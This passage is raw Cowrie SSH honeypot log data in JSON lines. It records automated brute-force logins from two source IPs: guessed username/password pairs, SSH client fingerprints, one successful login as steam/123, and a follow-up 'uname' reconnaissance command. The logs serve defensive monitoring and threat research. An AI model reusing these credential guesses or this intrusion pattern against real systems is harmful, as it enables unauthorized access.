0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:16.323246Z","src_ip":"192.109.200.78","session":"23e83570c83c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123","message":"login attempt [gitlab-runner/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:16.653512Z","src_ip":"192.109.200.78","session":"23e83570c83c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:17.738466Z","src_ip":"192.109.200.78","session":"23e83570c83c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39300,"dst_ip":"10.17.0.5","dst_port":22,"session":"661c37c3b606","protocol":"ssh","message":"New connection: 192.109.200.78:39300 (10.17.0.5:22) [session: 661c37c3b606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:19.764857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:19.769113Z","src_ip":"192.109.200.78","session":"661c37c3b606","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:19.850279Z","src_ip":"192.109.200.78","session":"661c37c3b606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:20.094713Z","src_ip":"192.109.200.78","session":"661c37c3b606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:21.179028Z","src_ip":"192.109.200.78","session":"661c37c3b606","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55618,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb901a88f477","protocol":"ssh","message":"New connection: 192.109.200.78:55618 (10.17.0.5:22) [session: fb901a88f477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:23.173927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:23.175683Z","src_ip":"192.109.200.78","session":"fb901a88f477","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:23.258090Z","src_ip":"192.109.200.78","session":"fb901a88f477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"111111","message":"login attempt [tom/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:23.504879Z","src_ip":"192.109.200.78","session":"fb901a88f477","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:24.589573Z","src_ip":"192.109.200.78","session":"fb901a88f477","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55626,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e67a6f1beb9","protocol":"ssh","message":"New connection: 192.109.200.78:55626 (10.17.0.5:22) [session: 5e67a6f1beb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:26.558776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:26.563217Z","src_ip":"192.109.200.78","session":"5e67a6f1beb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:26.644684Z","src_ip":"192.109.200.78","session":"5e67a6f1beb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"123456","message":"login attempt [username/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:27.093951Z","src_ip":"192.109.200.78","session":"5e67a6f1beb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":59470,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ab750fa8747","protocol":"ssh","message":"New connection: 147.45.199.80:59470 (159.203.135.109:22) [session: 5ab750fa8747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:27.936193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:27.940496Z","src_ip":"147.45.199.80","session":"5ab750fa8747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:28.037667Z","src_ip":"147.45.199.80","session":"5ab750fa8747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:28.177418Z","src_ip":"192.109.200.78","session":"5e67a6f1beb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07121985","message":"login attempt [root/07121985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:28.308910Z","src_ip":"147.45.199.80","session":"5ab750fa8747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:29.403665Z","src_ip":"147.45.199.80","session":"5ab750fa8747","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55638,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2ea43bc1552","protocol":"ssh","message":"New connection: 192.109.200.78:55638 (10.17.0.5:22) [session: e2ea43bc1552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:30.219407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:30.223886Z","src_ip":"192.109.200.78","session":"e2ea43bc1552","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:30.306981Z","src_ip":"192.109.200.78","session":"e2ea43bc1552","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:30.553397Z","src_ip":"192.109.200.78","session":"e2ea43bc1552","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:31.637200Z","src_ip":"192.109.200.78","session":"e2ea43bc1552","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47890,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a7cf3da816e","protocol":"ssh","message":"New connection: 192.109.200.78:47890 (10.17.0.5:22) [session: 3a7cf3da816e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:33.685421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:33.691484Z","src_ip":"192.109.200.78","session":"3a7cf3da816e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:33.774555Z","src_ip":"192.109.200.78","session":"3a7cf3da816e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:34.016864Z","src_ip":"192.109.200.78","session":"3a7cf3da816e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:34.215731Z","src_ip":"192.109.200.78","session":"3a7cf3da816e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:34.218391Z","src_ip":"192.109.200.78","session":"3a7cf3da816e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:34.301259Z","src_ip":"192.109.200.78","session":"3a7cf3da816e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:34.304116Z","src_ip":"192.109.200.78","session":"3a7cf3da816e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47900,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ce806c5898e","protocol":"ssh","message":"New connection: 192.109.200.78:47900 (10.17.0.5:22) [session: 3ce806c5898e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:37.390036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:37.394152Z","src_ip":"192.109.200.78","session":"3ce806c5898e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:37.479432Z","src_ip":"192.109.200.78","session":"3ce806c5898e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:37.722697Z","src_ip":"192.109.200.78","session":"3ce806c5898e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:38.816023Z","src_ip":"192.109.200.78","session":"3ce806c5898e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47904,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d1128b1d91d","protocol":"ssh","message":"New connection: 192.109.200.78:47904 (10.17.0.5:22) [session: 6d1128b1d91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:40.854148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:40.861834Z","src_ip":"192.109.200.78","session":"6d1128b1d91d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:40.942582Z","src_ip":"192.109.200.78","session":"6d1128b1d91d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:41.186464Z","src_ip":"192.109.200.78","session":"6d1128b1d91d","protocol":"ssh"}
